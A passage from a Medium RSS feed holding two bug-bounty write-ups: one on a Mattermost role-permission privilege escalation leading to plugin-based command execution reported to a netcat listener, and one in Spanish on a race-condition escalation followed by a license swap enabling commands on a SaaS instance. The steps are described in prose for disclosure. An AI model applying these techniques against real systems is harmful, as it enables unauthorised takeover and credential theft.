dap&quot;,&quot;sysconsole_write_integrations_cors&quot;,&quot;read_elasticsearch_post_indexing_job&quot;,&quot;join_public_channels&quot;,&quot;manage_slash_commands&quot;,&quot;playbook_public_manage_properties&quot;,&quot;manage_team_roles&quot;,&quot;read_private_channel_groups&quot;,&quot;convert_public_channel_to_private&quot;,&quot;remove_ldap_public_cert&quot;,&quot;manage_compliance_export_job&quot;,&quot;run_create&quot;,&quot;invite_user&quot;,&quot;read_public_channel&quot;,&quot;sysconsole_write_environment_developer&quot;,&quot;sysconsole_read_compliance_compliance_monitoring&quot;,&quot;sysconsole_read_environment_logging&quot;,&quot;manage_incoming_webhooks&quot;,&quot;sysconsole_write_user_management_teams&quot;,&quot;create_team&quot;,&quot;read_channel&quot;,&quot;sysconsole_read_site_users_and_teams&quot;,&quot;sysconsole_read_site_notices&quot;,&quot;remove_saml_public_cert&quot;,&quot;create_public_channel&quot;,&quot;create_post_public&quot;,&quot;sysconsole_write_about_edition_and_license&quot;,&quot;convert_private_channel_to_public&quot;,&quot;playbook_private_manage_roles&quot;,&quot;sysconsole_read_user_management_channels&quot;,&quot;manage_outgoing_oauth_connections&quot;,&quot;manage_elasticsearch_post_indexing_job&quot;,&quot;invalidate_email_invite&quot;,&quot;read_other_users_teams&quot;,&quot;invalidate_caches&quot;,&quot;sysconsole_write_user_management_channels&quot;,&quot;add_ldap_public_cert&quot;,&quot;manage_others_outgoing_webhooks&quot;,&quot;edit_other_users&quot;,&quot;sysconsole_write_authentication_mfa&quot;,&quot;sysconsole_write_site_posts&quot;,&quot;delete_private_channel&quot;,&quot;read_license_information&quot;,&quot;sysconsole_read_site_emoji&quot;,&quot;edit_bookmark_public_channel&quot;,&quot;sysconsole_write_billing&quot;,&quot;read_bots&quot;,&quot;create_elasticsearch_post_indexing_job&quot;,&quot;order_bookmark_public_channel&quot;,&quot;sysconsole_read_compliance_data_retention_policy&quot;,&quot;sysconsole_read_plugins&quot;,&quot;read_others_bots&quot;,&quot;create_bot&quot;,&quot;playbook_public_make_private&quot;,&quot;sysconsole_read_site_announcement_banner&quot;,&quot;sysconsole_write_experimental_bleve&quot;,&quot;remove_saml_private_cert&quot;,&quot;manage_outgoing_webhooks&quot;,&quot;add_saml_private_cert&quot;,&quot;manage_others_bots&quot;,&quot;read_user_access_token&quot;,&quot;manage_elasticsearch_post_aggregation_job&quot;,&quot;sysconsole_read_authentication_password&quot;,&quot;get_saml_metadata_from_idp&quot;,&quot;delete_post&quot;,&quot;sysconsole_read_environment_web_server&quot;,&quot;list_public_teams&quot;,&quot;upload_file&quot;,&quot;sysconsole_write_reporting_site_statistics&quot;,&quot;manage_system_wide_oauth&quot;,&quot;create_group_channel&quot;,&quot;manage_others_incoming_webhooks&quot;,&quot;sysconsole_write_environment_image_proxy&quot;,&quot;sysconsole_write_experimental_features&quot;,&quot;manage_jobs&quot;,&quot;create_ldap_sync_job&quot;,&quot;read_ldap_sync_job&quot;,&quot;sysconsole_read_site_ip_filters&quot;,&quot;view_team&quot;,&quot;delete_emojis&quot;,&quot;manage_channel_roles&quot;,&quot;manage_private_channel_properties&quot;,&quot;delete_bookmark_private_channel&quot;,&quot;sysconsole_read_compliance_compliance_export&quot;<br>],&quot;scheme_managed&quot;:true,&quot;built_in&quot;:true}</pre><p>HTTP Response:</p><pre>HTTP/1.1 200 OK<br>Content-Type: application/json<br>Permissions-Policy: <br>Referrer-Policy: no-referrer<br>Vary: Accept-Encoding<br>X-Content-Type-Options: nosniff<br>X-Request-Id: dzfzjto59br8py9x8yrp8rfr8w<br>X-Version-Id: 9.11.6.12182130320.be5c9cf1cc3d276dc7a6a04a2012b1b1.true<br>Date: Fri, 24 Jan 2025 15:49:31 GMT<br>Content-Length: 8643<br><br>{&quot;id&quot;:&quot;wnbbfpf6etfgunkbk76mk19wfy&quot;,&quot;name&quot;:&quot;system_user&quot;,&quot;display_name&quot;:&quot;authentication.roles.global_user.name&quot;,&quot;description&quot;:&quot;authentication.roles.global_user.description&quot;,&quot;create_at&quot;:1737728290088,&quot;update_at&quot;:1737728720670,&quot;delete_at&quot;:0,&quot;permissions&quot;:[&quot;add_bookmark_private_channel&quot;,&quot;add_bookmark_public_channel&quot;,&quot;add_ldap_private_cert&quot;,&quot;add_ldap_public_cert&quot;,&quot;add_reaction&quot;,&quot;add_saml_idp_cert&quot;,&quot;add_saml_private_cert&quot;,&quot;add_saml_public_cert&quot;,&quot;add_user_to_team&quot;,&quot;assign_bot&quot;,&quot;assign_system_admin_role&quot;,&quot;convert_private_channel_to_public&quot;,&quot;convert_public_channel_to_private&quot;,&quot;create_bot&quot;,&quot;create_compliance_export_job&quot;,&quot;create_custom_group&quot;,&quot;create_data_retention_job&quot;,&quot;create_direct_channel&quot;,&quot;create_elasticsearch_post_aggregation_job&quot;,&quot;create_elasticsearch_post_indexing_job&quot;,&quot;create_emojis&quot;,&quot;create_group_channel&quot;,&quot;create_ldap_sync_job&quot;,&quot;create_post&quot;,&quot;create_post_bleve_indexes_job&quot;,&quot;create_post_ephemeral&quot;,&quot;create_post_public&quot;,&quot;create_private_channel&quot;,&quot;create_public_channel&quot;,&quot;create_team&quot;,&quot;create_user_access_token&quot;,&quot;delete_bookmark_private_channel&quot;,&quot;delete_bookmark_public_channel&quot;,&quot;delete_custom_group&quot;,&quot;delete_emojis&quot;,&quot;delete_others_emojis&quot;,&quot;delete_others_posts&quot;,&quot;delete_post&quot;,&quot;delete_private_channel&quot;,&quot;delete_public_channel&quot;,&quot;demote_to_guest&quot;,&quot;download_compliance_export_result&quot;,&quot;edit_bookmark_private_channel&quot;,&quot;edit_bookmark_public_channel&quot;,&quot;edit_brand&quot;,&quot;edit_custom_group&quot;,&quot;edit_other_users&quot;,&quot;edit_others_posts&quot;,&quot;edit_post&quot;,&quot;get_analytics&quot;,&quot;get_logs&quot;,&quot;get_public_link&quot;,&quot;get_saml_cert_status&quot;,&quot;get_saml_metadata_from_idp&quot;,&quot;import_team&quot;,&quot;invalidate_caches&quot;,&quot;invalidate_email_invite&quot;,&quot;invite_guest&quot;,&quot;invite_user&quot;,&quot;join_private_teams&quot;,&quot;join_public_channels&quot;,&quot;join_public_teams&quot;,&quot;list_private_teams&quot;,&quot;list_public_teams&quot;,&quot;list_team_channels&quot;,&quot;list_users_without_team&quot;,&quot;manage_bots&quot;,&quot;manage_channel_roles&quot;,&quot;manage_compliance_export_job&quot;,&quot;manage_custom_group_members&quot;,&quot;manage_data_retention_job&quot;,&quot;manage_elasticsearch_post_aggregation_job&quot;,&quot;manage_elasticsearch_post_indexing_job&quot;,&quot;manage_incoming_webhooks&quot;,&quot;manage_jobs&quot;,&quot;manage_ldap_sync_job&quot;,&quot;manage_license_information&quot;,&quot;manage_oauth&quot;,&quot;manage_others_bots&quot;,&quot;manage_others_incoming_webhooks&quot;,&quot;manage_others_outgoing_webhooks&quot;,&quot;manage_others_slash_commands&quot;,&quot;manage_outgoing_oauth_connections&quot;,&quot;manage_outgoing_webhooks&quot;,&quot;manage_post_bleve_indexes_job&quot;,&quot;manage_private_channel_members&quot;,&quot;manage_private_channel_properties&quot;,&quot;manage_public_channel_members&quot;,&quot;manage_public_channel_properties&quot;,&quot;manage_secure_connections&quot;,&quot;manage_shared_channels&quot;,&quot;manage_slash_commands&quot;,&quot;manage_system_wide_oauth&quot;,&quot;manage_team&quot;,&quot;manage_team_roles&quot;,&quot;order_bookmark_private_channel&quot;,&quot;order_bookmark_public_channel&quot;,&quot;playbook_private_create&quot;,&quot;playbook_private_make_public&quot;,&quot;playbook_private_manage_members&quot;,&quot;playbook_private_manage_properties&quot;,&quot;playbook_private_manage_roles&quot;,&quot;playbook_private_view&quot;,&quot;playbook_public_create&quot;,&quot;playbook_public_make_private&quot;,&quot;playbook_public_manage_members&quot;,&quot;playbook_public_manage_properties&quot;,&quot;playbook_public_manage_roles&quot;,&quot;playbook_public_view&quot;,&quot;promote_guest&quot;,&quot;purge_bleve_indexes&quot;,&quot;purge_elasticsearch_indexes&quot;,&quot;read_audits&quot;,&quot;read_bots&quot;,&quot;read_channel&quot;,&quot;read_channel_content&quot;,&quot;read_compliance_export_job&quot;,&quot;read_data_retention_job&quot;,&quot;read_deleted_posts&quot;,&quot;read_elasticsearch_post_aggregation_job&quot;,&quot;read_elasticsearch_post_indexing_job&quot;,&quot;read_jobs&quot;,&quot;read_ldap_sync_job&quot;,&quot;read_license_information&quot;,&quot;read_other_users_teams&quot;,&quot;read_others_bots&quot;,&quot;read_private_channel_groups&quot;,&quot;read_public_channel&quot;,&quot;read_public_channel_groups&quot;,&quot;read_user_access_token&quot;,&quot;recycle_database_connections&quot;,&quot;reload_config&quot;,&quot;remove_ldap_private_cert&quot;,&quot;remove_ldap_public_cert&quot;,&quot;remove_others_reactions&quot;,&quot;remove_reaction&quot;,&quot;remove_saml_idp_cert&quot;,&quot;remove_saml_private_cert&quot;,&quot;remove_saml_public_cert&quot;,&quot;remove_user_from_team&quot;,&quot;restore_custom_group&quot;,&quot;revoke_user_access_token&quot;,&quot;run_create&quot;,&quot;run_manage_members&quot;,&quot;run_manage_properties&quot;,&quot;run_view&quot;,&quot;sysconsole_read_about_edition_and_license&quot;,&quot;sysconsole_read_authentication_email&quot;,&quot;sysconsole_read_authentication_guest_access&quot;,&quot;sysconsole_read_authentication_ldap&quot;,&quot;sysconsole_read_authentication_mfa&quot;,&quot;sysconsole_read_authentication_openid&quot;,&quot;sysconsole_read_authentication_password&quot;,&quot;sysconsole_read_authentication_saml&quot;,&quot;sysconsole_read_authentication_signup&quot;,&quot;sysconsole_read_billing&quot;,&quot;sysconsole_read_compliance_compliance_export&quot;,&quot;sysconsole_read_compliance_compliance_monitoring&quot;,&quot;sysconsole_read_compliance_custom_terms_of_service&quot;,&quot;sysconsole_read_compliance_data_retention_policy&quot;,&quot;sysconsole_read_environment_database&quot;,&quot;sysconsole_read_environment_developer&quot;,&quot;sysconsole_read_environment_elasticsearch&quot;,&quot;sysconsole_read_environment_file_storage&quot;,&quot;sysconsole_read_environment_high_availability&quot;,&quot;sysconsole_read_environment_image_proxy&quot;,&quot;sysconsole_read_environment_logging&quot;,&quot;sysconsole_read_environment_performance_monitoring&quot;,&quot;sysconsole_read_environment_push_notification_server&quot;,&quot;sysconsole_read_environment_rate_limiting&quot;,&quot;sysconsole_read_environment_session_lengths&quot;,&quot;sysconsole_read_environment_smtp&quot;,&quot;sysconsole_read_environment_web_server&quot;,&quot;sysconsole_read_experimental_bleve&quot;,&quot;sysconsole_read_experimental_feature_flags&quot;,&quot;sysconsole_read_experimental_features&quot;,&quot;sysconsole_read_integrations_bot_accounts&quot;,&quot;sysconsole_read_integrations_cors&quot;,&quot;sysconsole_read_integrations_gif&quot;,&quot;sysconsole_read_integrations_integration_management&quot;,&quot;sysconsole_read_plugins&quot;,&quot;sysconsole_read_products_boards&quot;,&quot;sysconsole_read_reporting_server_logs&quot;,&quot;sysconsole_read_reporting_site_statistics&quot;,&quot;sysconsole_read_reporting_team_statistics&quot;,&quot;sysconsole_read_site_announcement_banner&quot;,&quot;sysconsole_read_site_customization&quot;,&quot;sysconsole_read_site_emoji&quot;,&quot;sysconsole_read_site_file_sharing_and_downloads&quot;,&quot;sysconsole_read_site_ip_filters&quot;,&quot;sysconsole_read_site_localization&quot;,&quot;sysconsole_read_site_notices&quot;,&quot;sysconsole_read_site_notifications&quot;,&quot;sysconsole_read_site_posts&quot;,&quot;sysconsole_read_site_public_links&quot;,&quot;sysconsole_read_site_users_and_teams&quot;,&quot;sysconsole_read_user_management_channels&quot;,&quot;sysconsole_read_user_management_groups&quot;,&quot;sysconsole_read_user_management_permissions&quot;,&quot;sysconsole_read_user_management_teams&quot;,&quot;sysconsole_read_user_management_users&quot;,&quot;sysconsole_write_about_edition_and_license&quot;,&quot;sysconsole_write_authentication_email&quot;,&quot;sysconsole_write_authentication_guest_access&quot;,&quot;sysconsole_write_authentication_ldap&quot;,&quot;sysconsole_write_authentication_mfa&quot;,&quot;sysconsole_write_authentication_openid&quot;,&quot;sysconsole_write_authentication_password&quot;,&quot;sysconsole_write_authentication_saml&quot;,&quot;sysconsole_write_authentication_signup&quot;,&quot;sysconsole_write_billing&quot;,&quot;sysconsole_write_compliance_compliance_export&quot;,&quot;sysconsole_write_compliance_compliance_monitoring&quot;,&quot;sysconsole_write_compliance_custom_terms_of_service&quot;,&quot;sysconsole_write_compliance_data_retention_policy&quot;,&quot;sysconsole_write_environment_database&quot;,&quot;sysconsole_write_environment_developer&quot;,&quot;sysconsole_write_environment_elasticsearch&quot;,&quot;sysconsole_write_environment_file_storage&quot;,&quot;sysconsole_write_environment_high_availability&quot;,&quot;sysconsole_write_environment_image_proxy&quot;,&quot;sysconsole_write_environment_logging&quot;,&quot;sysconsole_write_environment_performance_monitoring&quot;,&quot;sysconsole_write_environment_push_notification_server&quot;,&quot;sysconsole_write_environment_rate_limiting&quot;,&quot;sysconsole_write_environment_session_lengths&quot;,&quot;sysconsole_write_environment_smtp&quot;,&quot;sysconsole_write_environment_web_server&quot;,&quot;sysconsole_write_experimental_bleve&quot;,&quot;sysconsole_write_experimental_feature_flags&quot;,&quot;sysconsole_write_experimental_features&quot;,&quot;sysconsole_write_integrations_bot_accounts&quot;,&quot;sysconsole_write_integrations_cors&quot;,&quot;sysconsole_write_integrations_gif&quot;,&quot;sysconsole_write_integrations_integration_management&quot;,&quot;sysconsole_write_plugins&quot;,&quot;sysconsole_write_products_boards&quot;,&quot;sysconsole_write_reporting_server_logs&quot;,&quot;sysconsole_write_reporting_site_statistics&quot;,&quot;sysconsole_write_reporting_team_statistics&quot;,&quot;sysconsole_write_site_announcement_banner&quot;,&quot;sysconsole_write_site_customization&quot;,&quot;sysconsole_write_site_emoji&quot;,&quot;sysconsole_write_site_file_sharing_and_downloads&quot;,&quot;sysconsole_write_site_ip_filters&quot;,&quot;sysconsole_write_site_localization&quot;,&quot;sysconsole_write_site_notices&quot;,&quot;sysconsole_write_site_notifications&quot;,&quot;sysconsole_write_site_posts&quot;,&quot;sysconsole_write_site_public_links&quot;,&quot;sysconsole_write_site_users_and_teams&quot;,&quot;sysconsole_write_user_management_channels&quot;,&quot;sysconsole_write_user_management_groups&quot;,&quot;sysconsole_write_user_management_permissions&quot;,&quot;sysconsole_write_user_management_teams&quot;,&quot;sysconsole_write_user_management_users&quot;,&quot;test_elasticsearch&quot;,&quot;test_email&quot;,&quot;test_ldap&quot;,&quot;test_s3&quot;,&quot;test_site_url&quot;,&quot;upload_file&quot;,&quot;use_channel_mentions&quot;,&quot;use_group_mentions&quot;,&quot;use_slash_commands&quot;,&quot;view_members&quot;,&quot;view_team&quot;],&quot;scheme_managed&quot;:true,&quot;built_in&quot;:true}</pre><p>The following image shows that a user with the <strong>System Manager</strong> role cannot access certain functionalities, including user administration, as these permissions are not granted by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3rfH7kI0CwdiHGDv3GlqQ.png" /></figure><p>After modifying the permissions, users with the <strong>System Manager</strong> role (and all users) can access almost all functionalities, including user management, as shown in the following images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HXhf1ioRLBrCexnIacNLTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7BwgNHjeW8A_PH3AwQPOuw.png" /></figure><h3><strong>Business Impact:</strong></h3><p>The <strong>“Permissions”</strong> privilege in the UI may seem harmless, as it is meant for managing team, group, and channel permissions — not server configurations. A Mattermost system administrator might grant this privilege thinking it’s safe, but as shown in the PoC, it can be exploited for <strong>privilege escalation</strong>.</p><p>While I couldn’t assign the <strong>system_admin</strong> role to my user, the escalation allows performing nearly all system admin actions, except changing system admin roles, resetting their passwords, or deleting them. However, it does allow:</p><ul><li>Deleting all other users</li><li>Accessing compliance data</li><li>Disable MFA for all users</li><li>Achieving <strong>remote command execution</strong> if plugin uploads are enabled in the config file.</li><li>Etc…</li></ul><p>Below is the response from the Bugcrowd team stating that the Mattermost team marked this issue as a <strong>Business Acceptable Risk</strong>.</p><blockquote>Hi jebi,</blockquote><blockquote>Thank you for your submission. Unfortunately, we have received this report from another researcher. Therefore, it is considered a duplicate issue. Your effort is appreciated and we hope that you will continue to research and submit any future security issues you find.</blockquote><blockquote><strong>Note:</strong> The customer team previously reviewed this issue and confirmed that this is a Business Acceptable Risk and working as intended. This is why the original submission was marked as Not applicable.</blockquote><blockquote>We had once again checked with the customer about this submission and they have confirmed the same. The assigning of permissions which cannot be assigned via GUI is by design and the given roles have permissions to do so.</blockquote><blockquote>If this is a paid program, points for this submission will be awarded when the submission that you’re duplicated against moves to a final state, if the priority is P1 or P2. If that submission is marked as not applicable, or this submission is in a VDP (unpaid) program, then no points will be awarded as these aren&#39;t awarded on submissions of this state.Bonus command execution:</blockquote><p>However, the documentation does not mention this risk anywhere:</p><ul><li><a href="https://docs.mattermost.com/onboard/advanced-permissions.html">Advanced permissions - Mattermost documentation</a></li><li><a href="https://docs.mattermost.com/collaborate/learn-about-roles.html">Learn about Mattermost roles - Mattermost documentation</a></li><li><a href="https://docs.mattermost.com/collaborate/learn-about-roles.html">Learn about Mattermost roles - Mattermost documentation</a></li></ul><p>In fact, the <a href="https://api.mattermost.com/#tag/roles/operation/PatchRole">API documentation</a> lists several endpoints as requiring the <strong>“manage_system”</strong> permission, but this is incorrect. For instance, the <strong>upload plugin</strong> endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__KpDP3CBoUBBTy92sLoaQ.png" /></figure><h3>Bonus, remote command execution:</h3><p>Many people know that I often joke that if a vulnerability doesn’t allow <strong>remote command execution (RCE)</strong>, it’s not worth reporting (Sin RCE NO HAY GLORIA).</p><p>Jokes aside, this vulnerability can lead to command execution if the Mattermost instance is self-hosted and plugin uploads are enabled in the configuration file.</p><p>To demonstrate, I modified the demo plugin provided by Mattermost. Here’s the process:</p><ol><li>Decompress the plugin.</li><li>Replace the <strong>init</strong> binary with one that executes <strong>whoami</strong>, <strong>uname -a</strong>, and <strong>ls -lah</strong> commands, sending the output to a <strong>netcat</strong> listener.</li><li>Recompress the plugin, upload it, and enable it.</li></ol><p>Once the plugin is uploaded, the <strong>Enable Plugin</strong> button doesn’t appear in the UI because the user doesn’t have the <strong>manage_system</strong> permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UdxASsh_WWtuTI-LJWW5zg.png" /></figure><p>Remember, this is a <strong>business accepted risk</strong>, and the user I used to exploit the privilege escalation can always just use the API to enable the plugin — because who needs UI buttons when you have direct access, right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mUW0ogQucg3lfOzeoPG_Wg.png" /></figure><p>Boom! The results are now received in my netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*Rm0PZcjAGcq65BFstx9B-A.png" /></figure><h3>Conclusions:</h3><p>I acknowledge that this issue was reported 20 days before mine. However, I don’t think it’s acceptable to classify it as an “accepted business risk.” This post is to inform Mattermost users and customers about the vulnerability, so they can take necessary precautions and stay informed about how “Permissions” work in Mattermost — don’t just trust the documentation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d83b91d4413e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privilege escalation mediante Race Condition.]]></title>
            <link>https://medium.com/@duality084/privilege-escalation-mediante-race-condition-0254df6ffbd8?source=rss-b13bbddb9f29------2</link>
            <guid isPermaLink="false">https://medium.com/p/0254df6ffbd8</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Matias Ramirez]]></dc:creator>
            <pubDate>Thu, 25 Apr 2024 22:20:00 GMT</pubDate>
            <atom:updated>2024-04-26T18:28:33.090Z</atom:updated>
            <cc:license>http://creativecommons.org/publicdomain/zero/1.0/</cc:license>
            <content:encoded><![CDATA[<h3>Introducción</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8gR-tQmgzLnIaXcSeq9u3A.png" /><figcaption>Imagen generada con AI. Todos los derechos resevados(?</figcaption></figure><p>La idea de este post es contar los detalles técnicos de una vulnerabilidad que encontré recientemente en un programa de BugBounty, se trata de mi 3er vulnerabilidad encontrada, que clasificó como P1 en Bugcrowd y por la cual obtuve mi primer bounty de 4 cifras. El tipo de vulnerabilidad detallada a continuación es del tipo “Race Condition” en una funcionalidad de la aplicación donde nunca se me había ocurrido buscar este tipo de vulnerabilidades. La aplicación afectada puede ser desplegada localmente y a su vez también se puede utilizar como servicio <em>SaaS</em> alojado por la empresa desarrolladora. Aunque la vulnerabilidad se encontró en la implementación local, decidí ampliar mis pruebas en la versión SaaS debido que se encontraron diferencias en las funcionalidades entre ambas versiones, que de poder utilizarlas en la implementación <em>SaaS</em> demostraría un mayor impacto.</p><h3>Explotación</h3><p>En la aplicación afectada se puede administrar los permisos de los usuarios de manera bastante granular, por ejemplo, tenemos una sección de la aplicación llamada “User Roles” donde se puede asignar los permisos dentro de la aplicación. El máximo privilegio es “System Administrator” este puede modificar la configuración de la aplicación, por debajo de ese privilegio existen otros que pueden crear usuarios, administrar los equipos, ver los logs, etc. Un usuario con permisos de editar usuarios, roles y equipos no puede asignarse a si mismo el rol de “System Administrator”. A continuación dejo una imagen de como se ve la UI de la funcionalidad “User Roles”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-VAx5w2rsZ0yD8Wh0WZPcQ.png" /></figure><p>En otra sección podemos asignar estos roles a un equipo o “Team”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jXv6CyQpi8TV2b6Y0mO4UQ.png" /></figure><p>Finalmente podemos asignar usuarios a estos equipos y los usuarios heredan los permisos asignados en el apartado “User Roles”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9vNO9Ngi0SNcQBIc64s7_A.png" /></figure><p>Lo primero que hice fue intentar modificar el rol de mi usuario actual y ponerlo con el máximo privilegio, obviamente la modificación fallo y me dio error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*H8aJUifjFpaYwunRJX9tSg.png" /></figure><p>Lo siguiente fue crear usuarios, roles, equipos y acá la cosa se empezó a poner interesante. Creé un nuevo “User Role” y le asigne el privilegio “System Administrator”, le di guardar y me dejo crearlo sin problemas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9LGmO5_X_ztkmRT6vx2tQ.png" /></figure><p>Luego creé un equipo y le asigne este nuevo “User Role”, nuevamente el cambio se pudo realizar sin problemas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p4LArrf3dXh-dFr7CUnfGQ.png" /></figure><p>Cuando intenté agregar un usuario al nuevo equipo creado la aplicación respondió con un error de que la acción que quería realizar no era posible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uUup0hyGzAmuSX7ZLOruDw.png" /></figure><p>Volví sobre mis pasos, quite el “User Role” con el privilegio “System Administrator” y volví a intentar asignar el usuario al nuevo equipo creado, esta vez la aplicación me dejo realizar la acción.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*nWF9uZ-ax_B6E28NWHE41A.png" /></figure><p>Repasemos:</p><ul><li>La aplicación nos deja crear un rol y asignarle los máximos privilegios.</li><li>Nos deja asignar el rol a un equipo, pero si queremos asignar un usuario al equipo con el rol de máximos privilegios nos da error.</li><li>Si dejamos el equipo sin ningún rol asignado podemos agregar un usuario al equipo sin problemas.</li></ul><p>En este momento surgieron algunas preguntas en mi cabeza. “Que pasa si enviamos todas estas acciones al mismo tiempo? El servidor alcanzara a hacer las validaciones correspondientes?” Si me siguieron hasta acá es probable que se hayan dado cuenta que nos encontramos ante un posible error del tipo <a href="https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use"><em>Time Of Use — Time Of Check</em></a><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hsfcESdD1SLiS3uxNI5skQ.png" /></figure><p>Para intentar explotar este fallo se enviaron 3 requests al Repeater en BurpSuite:</p><ul><li>La acción de agregar un usuario al nuevo equipo.</li><li>La acción de agregar el nuevo rol al nuevo equipo.</li><li>Por ultimo la acción de dar el privilegio “System Administrator” al nuevo rol.</li></ul><p>Esto se agrupo en una pestaña de BurpSuite y se cambio la opción para enviar los requests en paralelo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-alwn4r2HMfm7fU-9ykmCw.png" /></figure><p>Al enviar en paralelo todos los requests, estos fueron exitosos y conseguí escalar a un usuario con la posibilidad de modificar la configuración de la aplicación.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*URxjpKfz7ya2RKFHkLSCSg.png" /></figure><p>Arme el reporte y envié todos los detalles y videos de la explotación, al cabo de una semana obtuve el esperado “triaged” y como respuesta que el reporte clasificaba como P2 según el triager, aun faltaba el visto bueno de quienes administraban el programa, hasta acá sabia que tenia un potencial bounty de entre 2 y 3 mil dólares.</p><h3>Bonus track</h3><p>Una vez explotada y reportada la vulnerabilidad decidí como bien mencione al principio de este post extender las pruebas a la versión <em>SaaS</em> de la aplicación, una de las diferencias que encontré con la implementación <em>self hosted</em> es que en la versión <em>SaaS</em> se encontraba desactivada la funcionalidad para ejecutar comandos sobre el sistema operativo en el cual corre la aplicación, para acceder a activar esta funcionalidad necesitas los máximos privilegios, osea “System Administrator”, pero en la versión <em>SaaS</em> la cuenta que te dan para administrar la aplicación no tiene estos permisos por lo cual procedí a explotar la vulnerabilidad detallada anteriormente y obtuve los máximos privilegios en la aplicación. Al querer habilitar la funcionalidad para ejecutar comandos en la implementación<em> SaaS</em> me daba un error que mencionaba que la acción no se permitía en instancias cloud.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*pXbs_X8pyPyshaaw62MoYw.png" /></figure><p>Esto, lejos de des motivarme me planteo un nuevo reto, si lograba saltar este control podría usarlo como justificación para que la vulnerabilidad fuera clasificada como P1, ya que un atacante que podría comprometer una instancia cloud accediendo a la funcionalidad de ejecución de comandos que se suponía que no se debía tener acceso en una implementación <em>SaaS</em>. En el detalle del programa de bugbounty se mencionaba que la aplicación <em>SaaS</em> y <em>self hosted</em> son casi idénticas ya que comparten el código, por lo cual decidí realizar reversing sobre los binarios que tenia de la aplicación <em>self hosted</em>, luego de buscar la cadena de texto que me mostraba la aplicación cuando quería activar la funcionalidad, di con el código encargado de realizar la verificación, el cual se veía mas o menos de la siguiente manera:</p><pre>public void EnsureNotRunningOnCloud(){<br>if (license.IsCurrentCloudInstance())<br>    {<br>    throw new Exception(&quot;Command execution is not supported on cloud instances&quot;);<br>    }<br>}</pre><p>Como se puede ver en el código la verificación se basa en el tipo de licencia instalada en la aplicación. Es importante destacar que entre las funciones disponibles con los máximos privilegios se encuentra el cambio de licencia. Por lo tanto, el siguiente paso fue modificar la licencia en la instancia SaaS por la que estaba asignada a mi instancia <em>self hosted</em>. Una vez completada esta acción, pude ejecutar comandos en la instancia <em>SaaS.</em> Me limite a ejecutar los comandos <em>whoami</em> y <em>env</em> el cual devolvió las variables de entorno donde se encontraron credenciales de la base de datos utilizada por la aplicación, también se observó que el servicio corría sobre un cluster de Kubernetes. Decidí dejar las pruebas y proceder a reportar que, aprovechando la vulnerabilidad para escalar privilegios y el cambio de licencia en la instancia <em>SaaS</em> un atacante podía ejecutar comandos.</p><p>Algunas semanas después del segundo reporte me subieron la clasificación a P1 y obtuve como bounty $6000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*UfiDfEepiGeDkvTb2uB88g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*MQpbM36CqkPjYtFGL72P_w.png" /></figure><p>Espero que este post los inspire y los lleve a buscar ciertos tipos de vulnerabilidades donde habitualmente no lo harían.</p><p>Happy Hacking! 🍻 💻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0254df6ffbd8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>